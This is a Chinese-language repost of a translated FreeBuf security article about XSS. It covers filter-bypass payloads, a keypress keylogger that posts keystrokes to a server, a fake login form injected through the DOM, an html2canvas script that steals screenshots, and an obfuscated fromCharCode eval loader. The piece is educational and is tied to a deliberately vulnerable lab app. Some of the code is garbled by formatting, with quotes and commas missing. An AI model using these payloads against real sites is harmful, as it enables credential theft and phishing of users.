歡迎光臨
每天分享高質量文章

對 XSS 的一次深入分析認識

來自:FreeBuf.COM

連結:https://www.freebuf.com/articles/web/195507.html

*參考來源:digitalinterruption,clouds編譯

 

 

隨著時間的推移,Web應用漏洞的型別在不斷演變,但年復一年持續存在且影響廣泛的漏洞仍然還屬XSS漏洞。長期以來,XSS漏洞算是非常常見的安全問題,以至於對大多數人來說,即使一個新的XSS漏洞被披露,但從內心來說,早已習已為常。本文深入描述XSS攻擊在幾種實際環境中的應用,同時順帶提到了一些XSS攻擊的繞過技術。

幾種載入XSS Payload的不常見標簽

和我們能想到的一樣,預防是最好的治療方法,而且去嘗試和緩解一些意外的攻擊也不失為一種好的策略實踐。通常情況下,大多陣列織機構只會部署現成的WAF產品(網路應用防火牆),而不是制訂開發適合自身的緩解技術,根本不會意識到那些結合自身的防護技術才是最恰當最精準的安全措施。

 

這樣一來,攻擊者們在構造程式碼驗證請求或實施程式碼審計之後,有WAF產品也沒用,攻防雙方就又形成了貓捉老鼠或是打地鼠的遊戲格局了。

 

就通用的XSS filter來說,因為 配對標簽的使用是完全禁止的。

 

如果一個攻擊者發現標簽對會被過濾器轉換為空字串,那麼,把它們組合構造夾雜放入一條javascript中,最終只有標簽對被刪除了,其它剩下的就又形成了新的組合方式,示例如下:

<sc<script>ript>alert(1)scscript>

ript>

 

上述javascript中,如果過濾器只是簡單地把標簽對刪除了,那麼最終會剩下:

<script>alert(1)script>

 

完美,這就是我們想要的。同樣的方法可以應用到一些標簽屬性或事件處理程式中,就像如果onerror是刪除標的,那麼,我們可以構造以下Payload:

<img src=x ononerrorerror=alert(1) />

 

最終刪除後剩下的結果為:

<img src=x onerror=alert(1) />

 

替換不安全樣式

 

當一些不安全的樣式被替換而不是被刪除之後,標的系統過濾器要識別它們,可能就有一些麻煩了。根據不同的過濾器規則,可以使用替換方式來構造我們最終想要的Payload。

 

就比如,如果標的系統的過濾器會把 之後的結果就會是NAUGHTY_HACKERalert(1)NAUGHTY_HACKER。

 

但如果我們把>這種巢狀式樣式後,那麼參照替換為NAUGHTY_HACKER欄位的規則,對於來說,標的過濾器會把它過濾為:

<script NAUGHTY_HACKER>alert(1)script NAUGHTY_HACKER>

 

在開始標簽script NAUGHTY_HACKER>中,瀏覽器會把NAUGHTY_HACKER預設解析為一個不帶值的屬性,就像input中的autofocus屬性一樣。在閉合標簽

中,雖然技術上屬於無效,但最終卻能正確解析。因為瀏覽器在某種程度上為了減少錯誤,雖然能識別到這個附加屬性,但會簡單地把它忽視掉。最終在瀏覽器的檢查器效果如下:

 

XSS的影響絕不僅僅是跳出彈框!

一些XSS披露漏洞中簡單的跳出彈框PoC證明,可能是導致XSS漏洞危害被認知不足的一個原因吧,儘管XSS呼叫alert形式的彈框能證明漏洞的存在,但卻不能很好地證明XSS漏洞的實際威力和影響。所以,XSS漏洞導致的JavaScript執行到底會有多嚴重,讓我們產生無限遐想。在此就分享兩個案例。

 

無需會話Cookie劫持實現賬戶獲取

 

會話Cookie劫持可能是XSS攻擊中對標的系統或使用者的最大潛在威脅,因為這通常會導致標的使用者的會話被攻擊者完全操縱利用。

 

越來越多的人熟知會話劫持的風險,因此,後期在會話資訊中加入了HttpOnly標誌,來避免JavaScript讀取Cookie,這應該算是一個大的改進了,但實際來說,劫持賬戶也並不只有Cookie劫持一種方法。

 

有很多事件程式可以和JavaScript關聯起來,其中一個就是 keypress 按鍵事件(你能看到該事件背後會發生什麼嗎?)。透過在keypress事件的document呼叫方法中添加回呼函式Callback,在使用者點選、按下或選中觸發回呼,以此來擷取使用者的按鍵資訊。

 

透過這種操作,攻擊者可以有效地將鍵盤記錄器植入使用者瀏覽器中,實現按鍵監聽,竊取使用者密碼憑據相關的按鍵資訊。如下影片:

 

 

上圖中,keypress 按鍵事件透過包含以下內容的JavaScript檔案,捕獲按鍵事件資訊併傳送到攻擊者的本地web伺服器中。

document.addEventListener('keypress'function (event{
  var xhr = new XMLHttpRequest()
  xhr.open('POST''/keylogger')
  xhr.setRequestHeader('Content-Type''application/x-www-form-urlencoded')
  xhr.send('data=' + event.key)
})

DOM 形式的操縱利用

 

雖然上述XSS構造的鍵盤記錄器能正常起效,但如果不被標的使用者信任,迷惑不了標的使用者執行輸入,那麼,這種攻擊最後也會無效。

 

我們可以對上述鍵盤記錄器PoC稍作修改,可以修改執行時的DOM,用包含登入頁面的body內容進行替換。這樣一來,可以把任意標記內容都分配給document.body.innerHTML作為屬性,如下:

 

var dummyFormHtml = 'We\'ve had reports of bad guys trying to do wrong by ' +
                    '
our users lately - help us, help you, by logging in ' +
                    '
again to confirm your identity <input type="text" />' +
                    '
<input type="password" /> <input type="submit" value="Login" />'
document.body.innerHTML = dummyFormHtml
document.addEventListener('
keypress', function (event) {
  var xhr = new XMLHttpRequest()
  xhr.open('
POST', '/keylogger')
  xhr.setRequestHeader('
Content-Type', 'application/x-www-form-urlencoded')
  xhr.send('
data=' + event.key)
})

 

這樣,頁面的body內容將會形成一個迷惑性的登入框,誘使使用者輸入密碼憑據等敏感資訊。如下:

 

 

雖然這隻是個簡單的示例,但是基於此,攻擊者可以建立和網站登入頁面一模一樣的釣魚頁面,以假亂真,形成有效攻擊。畢竟,大部份受害者只要看到正確的域名,就不會對登入頁面產生太多質疑。

 

DOM 形式的這種操縱利用遠不止於此,另外,它還可以用來構造複雜的社工攻擊。比如,可以被構造用來向用戶傳送提示通知,告訴使用者需要透過某個號碼去聯絡客戶支援部門,如果這種提示顯示在和使用者訪問的標的網站相同的域名上,那麼其可信度就相當高了,只要使用者撥通所謂的客戶部門電話,個人敏感資訊就會被攻擊者輕易獲得。

一圖勝千言 - 利用XSS竊取使用者瀏覽器檢視截圖

如今,隨著現代瀏覽器功能特性的不斷發展更新,XSS Payload的構造方式也不斷升級,利用新的瀏覽器功能特性,攻擊者甚至可以竊取到使用者當前瀏覽器檢視的截圖資訊。

 

html2canvas 能夠實現在使用者瀏覽器端直接對整個或部分頁面進行截圖,利用這一功能,攻擊者用6行JavaScript程式碼就能竊取受害者瀏覽器檢視截圖,並回傳到控制伺服器。程式碼示例如下:

 

html2canvas(document.querySelector("body")).then(canvas => {
  var xhr = new XMLHttpRequest()
  xhr.open('POST''/screenshot')
  xhr.setRequestHeader('Content-Type''application/x-www-form-urlencoded')
  xhr.send('data=' + encodeURIComponent(canvas.toDataURL()))
});

結合上述程式碼,構造以下Payload提交到測試的標的使用者應用中,之後,就會生成一張包含標的使用者使用資訊的截圖圖片,而且該圖片會被回傳至攻擊者控制伺服器中。

"/media/hack-the-planet.jpg" onload=eval(String.fromCharCode(115,101,116,84,105,109,101,111,117,116,40,102,117,110,99,116,105,111,110,40,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,97,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,97,46,115,101,116,65,116,116,114,105,98,117,116,101,40,39,115,114,99,39,44,39,47,115,99,114,105,112,116,115,47,115,99,114,101,101,110,115,104,111,116,46,106,115,39,41,59,100,46,104,101,97,100,46,97,112,112,101,110,100,67,104,105,108,100,40,97,41,59,125,44,49,48,48,48,41)) />

 

上述程式碼中的十進位制數編碼對應的就是以下函式方法:

 

setTimeout(function() {
  var d = document;
  var a = d.createElement('script');
  a.setAttribute('src','/scripts/screenshot.js');
  d.head.appendChild(a);
}, 1000)

 

setTimeout()方法用於在指定的毫秒數後呼叫函式,這裡呼叫了setTimeout原因是為了確保影象顯示在螢幕上以供驗證說明。

 

雖然上述Payload是將截圖傳送到和標的Web應用相同的伺服器中,但在實際環境中,完全可以把截圖傳送到攻擊者控制的遠端外部伺服器中去。

 

Payload一旦執行後,一個名為screenshot.png的截圖檔案就會出現在Node.js應用中,該截圖包含了網頁內容,如下:

 

 

雖然這種攻擊的實際應用有限,但它可以很好地詮釋利用XSS漏洞能實現的攻擊場景,值得思考借鑒。

參考

如果你想實際動手測試這篇文章中提到基於Node.js的Web應用實體,把玩其中的鍵盤記錄器或瀏覽器截圖程式,請參考我們的GitHub頁面:https://github.com/DigitalInterruption/vulnerable-xss-app

贊(0)

分享創造快樂